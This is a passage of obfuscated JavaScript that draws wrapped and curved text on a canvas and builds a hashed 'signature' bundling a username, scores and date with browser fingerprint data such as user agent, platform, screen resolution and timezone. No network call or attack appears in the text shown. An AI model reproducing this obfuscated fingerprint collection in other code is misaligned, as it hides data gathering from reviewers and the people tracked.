t=5914,DosX_NM_BZ=6455,DosX_NM_Bc=5667,DosX_NM_Bs=\"QYGq\",DosX_NM_BT=507,DosX_NM_BL=4009,DosX_NM_BY=\"m6]b\",DosX_NM_BJ=3092,DosX_NM_BA=5454,DosX_NM_Bw=2049,DosX_NM_o0=3873,DosX_NM_o1=\"$!Aq\",DosX_NS_B=466,DosX_NS_W=223,DosX_NS_K=815,DosX_NS_j=204,DosX_NF_B=75,DosX_NF_W=226,DosX_NF_K=288,DosX_NF_j=411,DosX_Nl_B=174,DosX_Nl_W=30,DosX_Nl_K=88,DosX_Nl_j=242,DosX_NE_B=42,DosX_NE_W=209,DosX_NE_K=963,DosX_NE_j=470,DosX_Ng_B=167,DosX_Ng_W=475,DosX_Ng_K=1260,DosX_Ng_j=65,D={},U=(D[m0(-35,0,0,-987,\"f$Am\")]=function(Q,z){return Q+z},D);let X=K[m1(-DosX_NM_U,DosX_NM_X,0,0,DosX_NM_V)](\" \"),N=[],R=\"\";function m3(B,W,K,j,D){return DosX_eD(B-DosX_Ng_B,W-DosX_Ng_W,D,K-DosX_Ng_K,D-DosX_Ng_j)}function m1(B,W,K,j,D){return DosX_eI(B-DosX_NE_B,W-DosX_NE_W,W,D- -DosX_NE_K,D-DosX_NE_j)}function m2(B,W,K,j,D){return DosX_eD(B-DosX_Nl_B,W-DosX_Nl_W,K,j- -DosX_Nl_K,D-DosX_Nl_j)}for(let Q=0;Q<X[m1(DosX_NM_O,DosX_NM_Q,0,0,DosX_NM_F)];Q++)m2(DosX_NM_Z,DosX_NM_L,DosX_NM_Y,DosX_NM_J,DosX_NM_G)!==m4(DosX_NM_B0,DosX_NM_B1,DosX_NM_B2,0,DosX_NM_B4)?(V=U[m4(DosX_NM_B5,DosX_NM_B6,DosX_NM_B7,0,DosX_NM_B9)](R,X[Q])+\" \",O=W[m3(DosX_NM_BB,DosX_NM_Bo,DosX_NM_Bq,0,DosX_NM_Bf)+\"xt\"](V)[m0(DosX_NM_BK,0,0,-DosX_NM_By,DosX_NM_Bi)],R=j<O&&0<Q?(N[m3(DosX_NM_Bu,DosX_NM_BI,DosX_NM_Be,0,DosX_NM_B7)](R[m1(DosX_NM_Bn,DosX_NM_Bm,0,0,DosX_NM_BU)]()),X[Q]+\" \"):V):(H=X[N[m0(DosX_NM_BX,0,0,DosX_NM_BV,DosX_NM_Bv)](R[m0(DosX_NM_Ba,0,0,DosX_NM_Bb,DosX_NM_BQ)]()*V[m0(DosX_NM_Bk,0,0,DosX_NM_BH,DosX_NM_Bd)])],O[m2(-DosX_NM_Bg,-DosX_NM_BE,DosX_NM_Bl,DosX_NM_BF,DosX_NM_BS)](H)||Q[m0(DosX_NM_BM,0,0,DosX_NM_Bc,DosX_NM_Bs)](H));function m0(B,W,K,j,D){return DosX_en(B-DosX_NF_B,B-DosX_NF_W,D,j-DosX_NF_K,D-DosX_NF_j)}function m4(B,W,K,j,D){return DosX_eD(B-DosX_NS_B,W-DosX_NS_W,K,W-DosX_NS_K,D-DosX_NS_j)}return N[m2(-DosX_NM_BT,DosX_NM_BL,DosX_NM_BY,DosX_NM_BJ,DosX_NM_BA)](R[m0(DosX_NM_Bw,0,0,DosX_NM_o0,DosX_NM_o1)]()),N}function I(W,K,j,D,U,X,N){var DosX_Nx_U=\"v$9*\",DosX_Nx_X=3285,DosX_Nx_N=1965,DosX_Nx_R=4068,DosX_Nx_V=7231,DosX_Nx_O=1732,DosX_Nx_Q=2434,DosX_Nx_z=7501,DosX_Nx_H=5128,DosX_Nx_F=\"euG2\",DosX_Nx_L=2129,DosX_Nx_Y=5803,DosX_Nx_J=2132,DosX_Nx_G=5282,DosX_Nx_B0=2629,DosX_Nx_B1=6496,DosX_Nx_B2=\"yAXs\",DosX_Nx_B3=6250,DosX_Nx_B4=3523,DosX_Nx_B5=8851,DosX_Nx_B6=5235,DosX_Nx_B7=\"KEHY\",DosX_Nx_B8=7249,DosX_Nx_B9=2463,DosX_Nx_BB=348,DosX_Nx_Bo=4988,DosX_Nx_BW=\"mlQ7\",DosX_Nx_Bf=6642,DosX_Nx_Bj=\"6Gdc\",DosX_Nx_By=4755,DosX_Nx_Bi=\"hP1P\",DosX_Nx_Be=6468,DosX_Nx_BD=5518,DosX_Nx_Bn=\"oxl#\",DosX_Nx_BC=4559,DosX_Nx_BU=6296,DosX_Nx_BX=2316,DosX_Nx_BN=5173,DosX_Nx_BR=2584,DosX_Nx_Bv=\"TEJX\",DosX_Nx_Ba=\"i8^y\",DosX_Nx_Bb=3679,DosX_Nx_BQ=1563,DosX_Nx_Bh=8982,DosX_Nx_Bz=9004,DosX_Nx_BH=\"@z9)\",DosX_Nx_Bd=7542,DosX_Nx_BE=10198,DosX_Nx_Bl=2899,DosX_Nx_BF=\"8L5y\",DosX_Nx_BS=6606,DosX_Nx_Bt=10480,DosX_Nx_BZ=10512,DosX_Nx_Bc=\"*$d[\",DosX_Nx_Bs=8402,DosX_Nx_BT=3596,DosX_Nx_BL=4250,DosX_Nx_BY=7311,DosX_Nx_BA=\"QAYB\",DosX_Nx_Bw=7630,DosX_Nx_Bx=11292,DosX_Nx_o0=8139,DosX_Nx_o1=\"m6]b\",DosX_Nx_o2=2812,DosX_Nx_o3=4397,DosX_Nx_o5=6453,DosX_Nx_o6=\"w0LC\",DosX_Nx_o7=\"wZHi\",DosX_Nx_oB=56,DosX_Nx_oo=2116,DosX_Nx_oq=\"FVzc\",DosX_Nx_oK=1163,DosX_Nx_op=3373,DosX_Nx_oj=\"gv1I\",DosX_Nx_ou=2297,DosX_Nx_oI=4496,DosX_Nw_B=194,DosX_Nw_W=298,DosX_Nw_K=70,DosX_Nw_j=124,DosX_NA_B=67,DosX_NA_W=1380,DosX_NA_K=496,DosX_NA_j=157,DosX_NL_B=428,DosX_NL_W=400,DosX_NL_K=467,DosX_NL_j=62,DosX_NT_B=258,DosX_NT_W=88,DosX_NT_K=1361,DosX_NT_j=236,DosX_Nc_B=392,DosX_Nc_W=356,DosX_Nc_K=187,DosX_Nc_j=74,R={};function m7(B,W,K,j,D){return DosX_em(D,W-DosX_Nc_B,K-DosX_Nc_W,B- -DosX_Nc_K,D-DosX_Nc_j)}function m5(B,W,K,j,D){return DosX_eD(B-DosX_NT_B,W-DosX_NT_W,D,j-DosX_NT_K,D-DosX_NT_j)}function m8(B,W,K,j,D){return DosX_em(j,W-DosX_NL_B,K-DosX_NL_W,D- -DosX_NL_K,D-DosX_NL_j)}R[m5(4508,438,0,3341,\"mlQ7\")]=function(z,H){return z/H},R[m6(DosX_Nx_U,0,0,DosX_Nx_R,DosX_Nx_V)]=function(z,H){return z+H},R[m5(DosX_Nx_O,DosX_Nx_Q,0,DosX_Nx_H,DosX_Nx_F)]=function(z,H){return z+H},R[m8(0,DosX_Nx_L,DosX_Nx_Y,DosX_Nx_F,DosX_Nx_J)]=function(z,H){return z*H},R[m9(DosX_Nx_G,0,0,DosX_Nx_B2,DosX_Nx_B3)]=function(z,H){return z+H};var V=R,O=V[m9(DosX_Nx_B4,0,0,DosX_Nx_B7,DosX_Nx_B8)](N-X,K[m7(DosX_Nx_B9,-DosX_Nx_BB,DosX_Nx_Bo,0,DosX_Nx_BW)]);function m9(B,W,K,j,D){return DosX_en(B-DosX_NA_B,D-DosX_NA_W,j,j-DosX_NA_K,D-DosX_NA_j)}function m6(B,W,K,j,D){return DosX_en(B-DosX_Nw_B,j-DosX_Nw_W,B,j-DosX_Nw_K,D-DosX_Nw_j)}for(let z=0;z<K[m9(DosX_Nx_Bf,0,0,DosX_Nx_Bj,DosX_Nx_By)];z++){var Q=V[m6(DosX_Nx_Bi,0,0,DosX_Nx_Be,DosX_Nx_BD)](V[m6(DosX_Nx_Bn,0,0,DosX_Nx_BC,DosX_Nx_BU)](X,V[m7(DosX_Nx_BX,DosX_Nx_BN,DosX_Nx_BR,0,DosX_Nx_Bv)](z,O)),O/2);W[m6(DosX_Nx_Ba,0,0,DosX_Nx_Bb,DosX_Nx_BQ)](),W[m8(0,DosX_Nx_Bh,DosX_Nx_Bz,DosX_Nx_BH,DosX_Nx_Bd)](j+Math[m8(0,DosX_Nx_BE,DosX_Nx_Bl,DosX_Nx_BF,DosX_Nx_BS)](Q)*U,V[m8(0,DosX_Nx_Bt,DosX_Nx_BZ,DosX_Nx_Bc,DosX_Nx_Bs)](D,V[m7(DosX_Nx_BT,DosX_Nx_BL,DosX_Nx_BY,0,DosX_Nx_BA)](Math[m5(DosX_Nx_Bw,DosX_Nx_Bx,0,DosX_Nx_o0,DosX_Nx_o1)](Q),U))),W[m5(DosX_Nx_o2,DosX_Nx_o3,0,DosX_Nx_o5,DosX_Nx_o6)](V[m6(DosX_Nx_o7,0,0,DosX_Nx_oB,-DosX_Nx_oo)](Q,Math.PI/2)),W[m6(DosX_Nx_oq,0,0,DosX_Nx_oK,DosX_Nx_op)](K[z],0,0),W[m6(DosX_Nx_oj,0,0,DosX_Nx_ou,DosX_Nx_oI)]()}}function E(W){var DosX_R6_B=\"euG2\",DosX_R6_U=\"#eLW\",DosX_R6_X=4611,DosX_R6_R=6440,DosX_R6_V=4365,DosX_R6_O=2042,DosX_R6_z=2195,DosX_R6_H=\"91cp\",DosX_R6_F=4286,DosX_R6_Z=\"GEgV\",DosX_R6_L=4202,DosX_R6_G=4060,DosX_R6_B0=4292,DosX_R6_B2=5185,DosX_R6_B3=\"FCGK\",DosX_R6_B4=6856,DosX_R6_B5=7147,DosX_R6_B6=10889,DosX_R6_B7=\"piSq\",DosX_R6_B9=3357,DosX_R6_BB=1405,DosX_R6_Bo=2831,DosX_R6_Bq=\"FVzc\",DosX_R6_Bf=1111,DosX_R6_BK=4482,DosX_R6_Bj=3960,DosX_R6_By=\"QAYB\",DosX_R6_Bi=1573,DosX_R6_Bu=4351,DosX_R6_BI=5409,DosX_R6_Be=6235,DosX_R6_Bn=\"4RK]\",DosX_R6_Bm=325,DosX_R6_BC=1989,DosX_R6_BU=1489,DosX_R6_BX=\"8L5y\",DosX_R6_BN=408,DosX_R6_BR=3829,DosX_R6_Bv=1828,DosX_R6_Ba=5145,DosX_R6_BO=8884,DosX_R6_Br=\"hP1P\",DosX_R6_BQ=6896,DosX_R6_Bk=6054,DosX_R6_Bh=8033,DosX_R6_Bz=\"f$Am\",DosX_R6_Bd=4250,DosX_R6_Bg=5230,DosX_R6_BE=4807,DosX_R6_Bl=6656,DosX_R6_BS=\"7Or@\",DosX_R6_BM=\"6Gdc\",DosX_R6_Bt=10168,DosX_R6_Bc=4726,DosX_R6_Bs=5595,DosX_R6_BT=1681,DosX_R6_BY=\"piSq\",DosX_R6_BJ=\"n2r*\",DosX_R6_BA=1310,DosX_R6_Bw=2267,DosX_R6_BG=5959,DosX_R6_o0=\"KEHY\",DosX_R6_o1=436,DosX_R6_o2=1317,DosX_R6_o4=3302,DosX_R6_o5=\"x4H&\",DosX_R6_o6=1323,DosX_R6_o9=1268,DosX_R6_oB=\"xy(x\",DosX_R6_oo=2683,DosX_R6_oq=2623,DosX_R6_of=3806,DosX_R6_oK=\"i8^y\",DosX_R6_op=166,DosX_R6_oj=1056,DosX_R6_oi=2031,DosX_R6_ou=\"yAXs\",DosX_R6_oI=1175,DosX_R6_oe=948,DosX_R6_on=2923,DosX_R6_om=\"wZHi\",DosX_R6_oP=10812,DosX_R6_oC=8307,DosX_R6_oX=8887,DosX_R6_oN=7079,DosX_R6_oR=4300,DosX_R6_oV=\"w0LC\",DosX_R6_oa=10585,DosX_R6_oO=2817,DosX_R6_or=1679,DosX_R6_oQ=1154,DosX_R6_ok=1481,DosX_R6_oh=2357,DosX_R6_oz=3037,DosX_R6_od=\"i8^y\",DosX_R6_og=5515,DosX_R6_ol=6197,DosX_R6_oF=\"m6]b\",DosX_R6_oS=3055,DosX_R6_oM=7911,DosX_R6_ot=7916,DosX_R6_oc=10919,DosX_R6_os=6362,DosX_R6_oT=2570,DosX_R6_oL=6934,DosX_R6_oJ=\"mlQ7\",DosX_R6_oA=8629,DosX_R6_ow=7796,DosX_R6_ox=\"GEgV\",DosX_R6_q0=9133,DosX_R6_q1=5073,DosX_R6_q2=2292,DosX_R6_q3=7803,DosX_R6_q5=\"TEJX\",DosX_R6_q6=30,DosX_R6_q7=1620,DosX_R6_q8=1445,DosX_R6_qB=\"n2r*\",DosX_R6_qo=9125,DosX_R6_qW=5021,DosX_R6_qf=\"0jPz\",DosX_R6_qK=5551,DosX_R6_qp=2710,DosX_R6_qy=7471,DosX_R6_qi=5613,DosX_R6_qu=7388,DosX_R6_qI=5176,DosX_R6_qe=\"v$9*\",DosX_R6_qn=10617,DosX_R6_qm=1584,DosX_R6_qP=268,DosX_R6_qC=\"x4H&\",DosX_R6_qX=2205,DosX_R6_qN=2415,DosX_R6_qV=2621,DosX_R6_qv=2058,DosX_R6_qa=4374,DosX_R6_qr=5772,DosX_R6_qb=3488,DosX_R6_qQ=3297,DosX_R6_qh=7059,DosX_R6_qz=\"Z[nw\",DosX_R6_qH=3293,DosX_R6_qd=2154,DosX_R6_qg=3959,DosX_R6_qE=\"mQoF\",DosX_R6_qF=778,DosX_R5_B=157,DosX_R5_W=518,DosX_R5_K=127,DosX_R5_j=309,DosX_R4_B=405,DosX_R4_W=335,DosX_R4_K=614,DosX_R4_j=49,DosX_R3_B=108,DosX_R3_W=32,DosX_R3_K=1622,DosX_R3_j=196,DosX_R0_B=107,DosX_R0_W=34,DosX_R0_K=1683,DosX_R0_j=293,DosX_NG_B=298,DosX_NG_W=290,DosX_NG_K=1192,DosX_NG_j=371;function mB(B,W,K,j,D){return DosX_eI(B-DosX_NG_B,W-DosX_NG_W,B,D- -DosX_NG_K,D-DosX_NG_j)}function mo(B,W,K,j,D){return DosX_em(D,W-DosX_R0_B,K-DosX_R0_W,B- -DosX_R0_K,D-DosX_R0_j)}DosX_R6_U={Siife:mB(DosX_R6_B,3039,0,0,6675)+mB(DosX_R6_U,DosX_R6_X,0,0,DosX_R6_V)+mq(DosX_R6_O,0,DosX_R6_z,DosX_R6_H,DosX_R6_F),zhqEf:function(U,X){return U(X)},VMfpj:function(U,X){return U+X}},DosX_R6_X={};function mW(B,W,K,j,D){return DosX_eD(B-DosX_R3_B,W-DosX_R3_W,K,B-DosX_R3_K,D-DosX_R3_j)}DosX_R6_X[mB(DosX_R6_Z,DosX_R6_L,0,0,DosX_R6_G)]=W[mq(DosX_R6_B0,0,DosX_R6_B2,DosX_R6_B3,DosX_R6_B4)],DosX_R6_X[mW(DosX_R6_B5,DosX_R6_B6,DosX_R6_B7,0,DosX_R6_B9)+\"l\"]=W[mW(DosX_R6_BB,DosX_R6_Bo,DosX_R6_Bq,0,DosX_R6_Bf)+\"es\"][mq(DosX_R6_BK,0,DosX_R6_Bj,DosX_R6_By,DosX_R6_Bi)+\"l\"],DosX_R6_X[mo(DosX_R6_Bu,DosX_R6_BI,DosX_R6_Be,0,DosX_R6_Bn)]=W[mq(DosX_R6_Bm,0,DosX_R6_BC,DosX_R6_B,DosX_R6_BU)+\"es\"][mf(DosX_R6_BX,DosX_R6_BN,DosX_R6_BR,0,DosX_R6_Bv)],DosX_R6_X[mW(DosX_R6_Ba,DosX_R6_BO,DosX_R6_Br,0,DosX_R6_BQ)+\"nt\"]=W[mW(DosX_R6_Bk,DosX_R6_Bh,DosX_R6_Bz,0,DosX_R6_Bd)+\"es\"][mo(DosX_R6_Bg,DosX_R6_BE,DosX_R6_Bl,0,DosX_R6_BS)+\"nt\"],DosX_R6_X[mf(DosX_R6_BM,DosX_R6_Bt,DosX_R6_R,0,DosX_R6_Bh)]=W[mo(DosX_R6_Bc,DosX_R6_Bs,DosX_R6_BT,0,DosX_R6_BY)],DosX_R6_X[mf(DosX_R6_BJ,DosX_R6_BA,DosX_R6_Bw,0,DosX_R6_BG)]=DosX_R6_U[mf(DosX_R6_o0,DosX_R6_o1,DosX_R6_o2,0,DosX_R6_o4)];DosX_R6_V=DosX_R6_X;function mf(B,W,K,j,D){return DosX_em(B,W-DosX_R4_B,K-DosX_R4_W,K- -DosX_R4_K,D-DosX_R4_j)}function mq(B,W,K,j,D){return DosX_ee(B-DosX_R5_B,D-DosX_R5_W,K-DosX_R5_K,j-DosX_R5_j,j)}return{hash:DosX_R6_V=DosX_R6_U[mB(DosX_R6_o5,DosX_R6_o6,0,0,DosX_R6_o9)](A,JSON[mf(DosX_R6_oB,DosX_R6_oo,DosX_R6_oq,0,DosX_R6_of)](DosX_R6_V)),metadata:{userAgent:navigator[mf(DosX_R6_oK,-DosX_R6_op,DosX_R6_oj,0,-DosX_R6_oi)],platform:navigator[mf(DosX_R6_ou,DosX_R6_oI,DosX_R6_oe,0,DosX_R6_on)],language:navigator[mf(DosX_R6_om,DosX_R6_oP,DosX_R6_oC,0,DosX_R6_oX)],screenResolution:DosX_R6_U[mW(DosX_R6_oN,DosX_R6_oR,DosX_R6_oV,0,DosX_R6_oa)](screen[mf(DosX_R6_BY,DosX_R6_oO,DosX_R6_or,0,-DosX_R6_oQ)],\"x\")+screen[mo(DosX_R6_ok,DosX_R6_oh,DosX_R6_oz,0,DosX_R6_od)],colorDepth:screen[mq(DosX_R6_og,0,DosX_R6_ol,DosX_R6_oF,DosX_R6_oS)+\"h\"],timezone:Intl[mf(DosX_R6_om,DosX_R6_oM,DosX_R6_ot,0,DosX_R6_oc)+mo(DosX_R6_os,DosX_R6_oT,DosX_R6_oL,0,DosX_R6_oJ)]()[mW(DosX_R6_oA,DosX_R6_ow,DosX_R6_ox,0,DosX_R6_q0)+mo(DosX_R6_q1,DosX_R6_q2,DosX_R6_q3,0,DosX_R6_q5)]()[mo(-DosX_R6_q6,-DosX_R6_q7,DosX_R6_q8,0,DosX_R6_qB)],timestamp:(new Date)[mq(DosX_R6_qo,0,DosX_R6_qW,DosX_R6_qf,DosX_R6_qK)+\"ng\"](),signature:DosX_R6_V,activity_log:W[mq(DosX_R6_qp,0,DosX_R6_qy,DosX_R6_oB,DosX_R6_qi)+mW(DosX_R6_qu,DosX_R6_qI,DosX_R6_qe,0,DosX_R6_qn)]||\"\",activity_periods:W[mW(DosX_R6_qm,-DosX_R6_qP,DosX_R6_qC,0,DosX_R6_qX)+mq(DosX_R6_qN,0,DosX_R6_qV,DosX_R6_qf,DosX_R6_qv)]||\"\",testData:{username:W[mq(DosX_R6_qa,0,DosX_R6_qr,DosX_R6_qf,DosX_R6_qb)],scores:W[mq(DosX_R6_qQ,0,DosX_R6_qh,DosX_R6_qz,DosX_R6_qH)+\"es\"],date:W[mW(DosX_R6_qd,DosX_R6_qg,DosX_R6_qE,0,DosX_R6_qF)]}}}}function A(W){var DosX_Re_j=\"qQCK\",DosX_Re_U=\"QYGq\",DosX_Re_X=1878,DosX_Re_N=1741,DosX_Re_R=560,DosX_Re_V=2138,DosX_Re_O=5318,DosX_Re_Q=332,DosX_Re_z=2767,DosX_Re_H=\"gv1I\",DosX_Re_F=0,DosX_Re_Z=\"GEgV\",DosX_Re_L=4412,DosX_Re_Y=7439,DosX_Re_J=2873,DosX_Re_G=1344,DosX_Re_B0=\"GrE)\",DosX_Re_B1=5661,DosX_Re_B2=7994,DosX_Re_B3=8948,DosX_Re_B4=4058,DosX_Re_B5=4616,DosX_Re_B7=2329,DosX_Re_B8=\"f$Am\",DosX_Re_B9=1552,DosX_Re_BB=\"*$d[\",DosX_Re_Bo=1953,DosX_Re_Bq=407,DosX_Re_BW=2330,DosX_Re_Bf=226,DosX_Re_BK=\"8L5y\",DosX_Re_Bp=5168,DosX_Re_Bj=1574,DosX_Re_By=3996,DosX_Re_Bi=6171,DosX_Re_Bu=\"91cp\",DosX_Re_BI=5383,DosX_Re_Be=7406,DosX_Re_BD=7591,DosX_Re_Bn=1798,DosX_Re_Bm=5495,DosX_Re_BP=7638,DosX_Re_BU=\"7Or@\",DosX_Re_BX=2079,DosX_Re_BN=1225,DosX_Re_BR=2095,DosX_Re_BV=636,DosX_Re_Bv=\"7Or@\",DosX_Re_Ba=2276,DosX_Re_BO=\"Qsdo\",DosX_Re_Br=7377,DosX_Re_Bb=7254,DosX_Re_Bk=9262,DosX_Re_Bh=\"piSq\",DosX_Re_Bz=4768,DosX_Re_BH=4273,DosX_Re_Bd=2815,DosX_Re_Bg=4798,DosX_Re_Bl=4562,DosX_Re_BF=\"QAYB\",DosX_Re_BS=7196,DosX_Re_BM=5815,DosX_Re_Bt=4585,DosX_Re_Bc=\"$!Aq\",DosX_Re_Bs=8124,DosX_Re_BT=\"*4ZH\",DosX_Re_BL=2238,DosX_Re_BY=4328,DosX_Re_BA=2239,DosX_Re_Bw=\"MB5V\",DosX_Re_Bx=5051,DosX_Re_BG=7122,DosX_Re_o0=2005,DosX_Re_o2=974,DosX_Re_o3=463,DosX_Re_o4=2709,DosX_Re_o6=2077,DosX_Re_o7=171,DosX_Re_o8=2438,DosX_Re_o9=\"*$d[\",DosX_Re_oB=817,DosX_Re_oo=\"FVzc\",DosX_Re_oq=1007,DosX_Re_oW=2641,DosX_Re_of=2712,DosX_Re_op=1142,DosX_Re_oj=1247,DosX_Re_oi=719,DosX_Re_ou=\"KEHY\",DosX_Re_oI=6327,DosX_Re_oe=4337,DosX_Re_on=3443,DosX_Re_om=\"FVzc\",DosX_Re_oP=6082,DosX_Re_oC=8331,DosX_Re_oU=9276,DosX_Re_oN=370,DosX_Re_oR=12,DosX_Re_ov=\"4RK]\",DosX_Re_oa=748,DosX_Re_oO=\"GEgV\",DosX_Re_or=6199,DosX_Re_ob=4185,DosX_Re_ok=\"wZHi\",DosX_Re_oh=4957,DosX_Re_oz=6666,DosX_Re_oH=2973,DosX_Re_og=1933,DosX_Re_ol=3108,DosX_Re_oF=\"#eLW\",DosX_Re_oS=4241,DosX_Re_oM=6486,DosX_Re_oZ=5506,DosX_Re_oc=\"gv1I\",DosX_Re_os=3098,DosX_Re_oT=533,DosX_Re_oL=3985,DosX_Re_oJ=1203,DosX_Re_oA=4180,DosX_Re_ox=4221,DosX_Re_oG=\"mlQ7\",DosX_Re_q0=6380,DosX_Re_q1=2285,DosX_Re_q3=1133,DosX_Re_q4=\"4RK]\",DosX_Re_q5=1920,DosX_Re_q6=4922,DosX_Re_q8=3284,DosX_Re_q9=\"Z[nw\",DosX_Re_qB=1279,DosX_Re_qo=4659,DosX_Re_qW=7532,DosX_Re_qf=10596,DosX_Re_qK=3409,DosX_Re_qj=3810,DosX_Re_qy=1757,DosX_Re_qi=1969,DosX_Re_qu=1051,DosX_Re_qe=\"gv1I\",DosX_Re_qD=1002,DosX_Re_qn=\"hP1P\",DosX_Re_qm=7967,DosX_Re_qP=11393,DosX_Re_qU=6338,DosX_Re_qX=691,DosX_Re_qR=1271,DosX_Re_qV=\"J9b^\",DosX_Re_qv=1327,DosX_Re_qa=\"euG2\",DosX_Re_qO=2810,DosX_Re_qr=6143,DosX_Re_qQ=1647,DosX_Re_qk=\"yAXs\",DosX_Re_qh=7724,DosX_Re_qz=8301,DosX_Re_qd=6035,DosX_Re_qg=3078,DosX_Re_qE=5357,DosX_Re_qF=\"n2r*\",DosX_Re_qS=228,DosX_Re_qM=6426,DosX_Re_qZ=3309,DosX_Re_qc=\"QYGq\",DosX_Re_qs=1476,DosX_Re_qT=974,DosX_Re_qY=4248,DosX_Re_qJ=\"9P*O\",DosX_Re_qA=1342,DosX_Re_qw=\"*$d[\",DosX_Re_qx=2109,DosX_Re_qG=2569,DosX_Re_W1=5959,DosX_Re_W2=1966,DosX_Re_W4=556,DosX_Re_W5=324,DosX_Re_W6=1713,DosX_Re_W8=\"#eLW\",DosX_Re_W9=2952,DosX_Re_WB=5217,DosX_Re_Wo=2632,DosX_Re_Wq=4553,DosX_Re_WW=\"hP1P\",DosX_Re_Wf=7902,DosX_Re_WK=3089,DosX_Re_Wp=2725,DosX_Re_Wy=\"gdDi\",DosX_Re_Wi=3482,DosX_Re_Wu=\"FCGK\",DosX_Re_WI=3313,DosX_Re_We=5876,DosX_Re_WD=5398,DosX_Re_Wm=1975,DosX_Re_WC=169,DosX_Re_WU=\"6Gdc\",DosX_Re_WX=681,DosX_Re_WN=4116,DosX_Re_WR=2209,DosX_Re_Wv=\"mQoF\",DosX_Re_Wa=7073,DosX_Re_WO=\"gdDi\",DosX_Re_Wr=3892,DosX_Re_Wb=5731,DosX_Re_Wk=206,DosX_Re_Wh=7010,DosX_Re_Wz=9604,DosX_Re_Wd=9891,DosX_Re_Wg=497,DosX_Re_Wl=3374,DosX_Re_WF=\"hP1P\",DosX_Re_WS=559,DosX_Re_WM=4537,DosX_Re_Wt=3855,DosX_Re_WZ=3504,DosX_Re_Wc=\"MB5V\",DosX_Re_Ws=6956,DosX_Re_WT=3063,DosX_Re_WL=4328,DosX_Re_WJ=5215,DosX_Re_WA=5924,DosX_Re_Wx=6960,DosX_Re_WG=\"mlQ7\",DosX_Re_f0=9735,DosX_Re_f1=865,DosX_Re_f2=3883,DosX_Re_f3=1808,DosX_Re_f4=\"91cp\",DosX_Re_f5=1679,DosX_Re_f6=\"XO53\",DosX_Re_f7=303,DosX_Re_f8=3253,DosX_Re_f9=1191,DosX_Re_fo=6507,DosX_Re_fq=2974,DosX_Re_fW=3467,DosX_Re_ff=\"gdDi\",DosX_Re_fK=1304,DosX_Re_fp=5445,DosX_Re_fj=3117,DosX_Re_fi=8065,DosX_Re_fu=1761,DosX_Re_fI=2446,DosX_Re_fD=\"w0LC\",DosX_Re_fn=4282,DosX_Re_fm=\"m6]b\",DosX_Re_fP=2569,DosX_Re_fC=4030,DosX_Re_fU=4185,DosX_Re_fN=\"wZHi\",DosX_Re_fR=957,DosX_Re_fV=1993,DosX_Re_fa=325,DosX_Re_fO=2986,DosX_Re_fr=192,DosX_Re_fb=3831,DosX_Re_fQ=7038,DosX_Re_fk=2457,DosX_Re_fz=1448,DosX_Re_fH=\"Z[nw\",DosX_Re_fd=3354,DosX_RI_B=118,DosX_RI_K=\"91cp\",DosX_RI_D=3654,DosX_RI_U=2092,DosX_RI_X=\"iW3p\",DosX_RI_V=1751,DosX_RI_Q=\"w0LC\",DosX_RI_z=2314,DosX_RI_H=555,DosX_RI_Z=4918,DosX_RI_Y=\"wZHi\",DosX_RI_G=1426,DosX_RI_B0=1774,DosX_RI_B2=2798,DosX_RI_B4=\"mlQ7\",DosX_RI_B5=7558,DosX_RI_B6=\"w0LC\",DosX_RI_B9=5981,DosX_RI_BB=3466,DosX_RI_Bo=\"m6]b\",DosX_RI_Bf=4499,DosX_RI_Bp=\"GEgV\",DosX_RI_Bj=7867,DosX_RI_By=8458,DosX_RI_Bu=7475,DosX_RI_BI=\"0jPz\",DosX_RI_Bn=4978,DosX_RI_Bm=7292,DosX_RI_BC=8082,DosX_RI_BX=\"*$d[\",DosX_RI_BR=7699,DosX_RI_BV=5684,DosX_RI_Bv=7611,DosX_RI_Ba=\"iW3p\",DosX_RI_Br=\"8L5y\",DosX_RI_Bb=1224,DosX_RI_BQ=1118,DosX_RI_Bh=2084,DosX_RI_Bz=\"gv1I\",DosX_RI_Bg=3736,DosX_Rf_B=272,DosX_Rf_W=330,DosX_Rf_K=142,DosX_Rf_j=74,DosX_Ro_B=231,DosX_Ro_W=428,DosX_Ro_K=944,DosX_Ro_j=424,DosX_RB_B=159,DosX_RB_W=468,DosX_RB_K=93,DosX_RB_j=134,DosX_R8_B=282,DosX_R8_W=225,DosX_R8_K=50,DosX_R8_j=116,DosX_R7_B=270,DosX_R7_W=434,DosX_R7_K=1594,DosX_R7_j=374;function mj(B,W,K,j,D){return DosX_eI(B-DosX_R7_B,W-DosX_R7_W,j,K- -DosX_R7_K,D-DosX_R7_j)}var N,DosX_Rp_B,DosX_Rp_W,DosX_Rp_j,O,K={};function mi(B,W,K,j,D){return DosX_en(B-DosX_R8_B,K-DosX_R8_W,j,j-DosX_R8_K,D-DosX_R8_j)}function mK(B,W,K,j,D){return DosX_eD(B-DosX_RB_B,W-DosX_RB_W,j,B-DosX_RB_K,D-DosX_RB_j)}function mp(B,W,K,j,D){return DosX_em(B,W-DosX_Ro_B,K-DosX_Ro_W,W- -DosX_Ro_K,D-DosX_Ro_j)}function my(B,W,K,j){return DosX_ee(B-DosX_Rf_B,W- -DosX_Rf_W,K-DosX_Rf_K,j-DosX_Rf_j,B)}K[mK(4926,3409,0,DosX_Re_j,2317)]=mp(DosX_Re_U,DosX_Re_X,DosX_Re_N,0,DosX_Re_V),K[mj(DosX_Re_O,DosX_Re_Q,DosX_Re_z,DosX_Re_H,DosX_Re_F)]=my(DosX_Re_Z,DosX_Re_L,DosX_Re_Y,DosX_Re_J)+mp(DosX_Re_B0,DosX_Re_B1,DosX_Re_B2,0,DosX_Re_B4),K[mi(DosX_Re_B5,0,DosX_Re_B7,DosX_Re_B8,DosX_Re_B9)]=mp(DosX_Re_BB,DosX_Re_Bo,-DosX_Re_Bq,0,-DosX_Re_Bf)+mp(DosX_Re_BK,DosX_Re_Bp,DosX_Re_Bj,0,DosX_Re_Bi),K[my(DosX_Re_Bu,DosX_Re_BI,DosX_Re_Be,DosX_Re_BD)]=function(R,V){return R^V},K[mK(DosX_Re_Bm,DosX_Re_BP,0,DosX_Re_BU,DosX_Re_BX)]=function(R,V){return R^V},K[mj(DosX_Re_BN,-DosX_Re_BR,DosX_Re_BV,DosX_Re_Bv,-DosX_Re_Ba)]=function(R,V){return R^V},K[mp(DosX_Re_BO,DosX_Re_Br,DosX_Re_Bb,0,DosX_Re_Bk)]=function(R,V){return R>>>V};let 